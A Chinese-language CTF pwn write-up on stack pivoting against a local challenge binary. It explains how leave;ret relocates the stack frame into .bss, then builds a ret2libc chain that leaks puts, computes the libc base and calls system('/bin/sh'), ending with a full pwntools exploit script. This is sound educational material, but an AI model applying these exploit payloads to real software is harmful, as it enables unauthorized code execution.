题目出自哪里已经记不真切了
只依稀记得这是我正式做的第一道pwn题,当时的我就像刚出新手村的菜鸟遇见了大boss一般,与其鏖战了数个日夜才终于拿下
来看看吧!
题目逻辑非常之简单
1 2 3 4 5 6 7 8 9
| undefined8 main(EVP_PKEY_CTX *param_1) { undefined1 local_58 [80]; init(param_1); puts("Xswlhhh!Use stack hijacking on him!"); read(0,local_58,0x60); return 0; }
|
题目的保护只有NX
但是这在当时对于只会无脑溢出覆盖返回地址的我来说宛如噩梦,设置了local_58[80],然而read只有0x60的大小,也就是说算上saved rbp只剩下最后的8个字节供我覆盖rip,而题目又有NX,长度完全不够执行rop链!怎么办呢?我查询资料,得知存在一种技术叫做:栈迁移(stack pivot)
原理在于,将saved rbp覆盖为你想让rbp去的地方,将rip覆盖为再执行一次read的地址,因此执行逻辑便变为,main函数结束后,即将退出,执行leave; ret;的指令,而saved rbp已经被设置为我们想让它去的地方(通常是一个可读可写的地址段),rip又一次执行read,最后在那个段空间重新分配一个新的栈帧,供我们自由发挥
这里有一些前置知识需要理解,当时困扰了我许久,现在写下来,首先是leave; ret;干了什么,你可以将其理解为两个阶段,先是leave,其相当于mov rsp,rbp和pop rbp,注意,最后,rsp += 8,然后执行ret指令,相当于rip = *rsp,注意,同样,rsp += 8,接下来,如何理解栈帧?其实cpu并不在乎rbp在哪里,它只关心执行流要干什么事儿
1
| LEA RAX => local_58,[RBP + -0x50]
|
read始于local_58[80]的地址,local_58[80]这个数组始终位于rbp - 0x50的位置,而rbp + 0x8的位置便是rip,栈帧布局永远如此,无论rbp在哪里,因此给了我们伪造新栈帧的利用空间
所以第一段payload如下
1 2 3 4
| payload = b"A" * 0x50 payload += p64(elf.bss(0x800)) payload += p64(0x4011e3) sh.sendafter(b"\n",payload)
|
这时一个新的栈帧在bss段中形成了
我们在新的栈帧中有了充足的空间来写rop链,因此便十分easy了,就打一个ret2libc吧,先来泄露libc基址
payload如下
1 2 3 4 5 6 7
| payload = p64(pop_rdi_ret) + p64(elf.got["puts"]) payload += p64(elf.plt["puts"]) payload += p64(elf.sym["main"]) payload = payload.ljust(0x50,b"\0") payload += p64(elf.bss(0x800-0x58)) payload += p64(leave_ret) sh.sendafter(b"\n",payload)
|
第一次看这个payload应该还是蛮懵的,不过对照着leave; ret;的含义在内存布局中多自己分析推导几遍便能理解其妙处所在,这里便不展开了
大致画一下内存布局供你分析

接下来接收得到的puts真实地址并计算libc基址
1 2
| libc.address = u64(sh.recv(6).ljust(8,b"\0")) - libc.sym["puts"] print("libc @",hex(libc.address))
|
注意上述payload执行完后我们又回到了main函数,此时rsp经过一系列弹栈,应该位于0x404810的位置,而main函数起始处的指令再次布置了栈帧
1 2 3
| push rbp mov rbp,rsp sub rsp,0x50
|
这段理解起来确实比较复杂,还是那句话,多动手调试(善用你的gdb),思考,分析汇编,rsp,rbp,rip,内存等的变化
此时在新的栈帧上,类似于上面,我们布置我们的最终payload
如下
1 2 3 4 5 6 7
| payload = p64(pop_rdi_ret) + p64(next(libc.search(b"/bin/sh"))) payload += p64(ret) payload += p64(libc.sym["system"]) payload = payload.ljust(0x50,b"\0") payload += p64(0x4047b0) payload += p64(leave_ret) sh.sendafter(b"\n",payload)
|
最后也是成功拿到shell
如果你彻底理解了这道题目,并能完整推理一遍过程,恭喜你,大抵是彻底理解了stack pivot这门技术,接下来迎接你的即将是更为复杂的栈布局,你加油,我也加油…
最后补一下完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * elf =ELF("./pivot",False) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",False) context.binary = elf sh = elf.process()
pop_rdi_ret = 0x401225 leave_ret = 0x40121b ret = leave_ret + 1
payload = b"A" * 0x50 payload += p64(elf.bss(0x800)) payload += p64(0x4011e3) sh.sendafter(b"\n",payload)
payload = p64(pop_rdi_ret) + p64(elf.got["puts"]) payload += p64(elf.plt["puts"]) payload += p64(elf.sym["main"]) payload = payload.ljust(0x50,b"\0") payload += p64(elf.bss(0x800-0x58)) payload += p64(leave_ret) sh.sendafter(b"\n",payload)
libc.address = u64(sh.recv(6).ljust(8,b"\0")) - libc.sym["puts"] print("libc @",hex(libc.address)) payload = p64(pop_rdi_ret) + p64(next(libc.search(b"/bin/sh"))) payload += p64(ret) payload += p64(libc.sym["system"]) payload = payload.ljust(0x50,b"\0") payload += p64(0x4047b0) payload += p64(leave_ret) sh.sendafter(b"\n",payload)
sh.interactive()
|
感谢阅读…
生活愉快!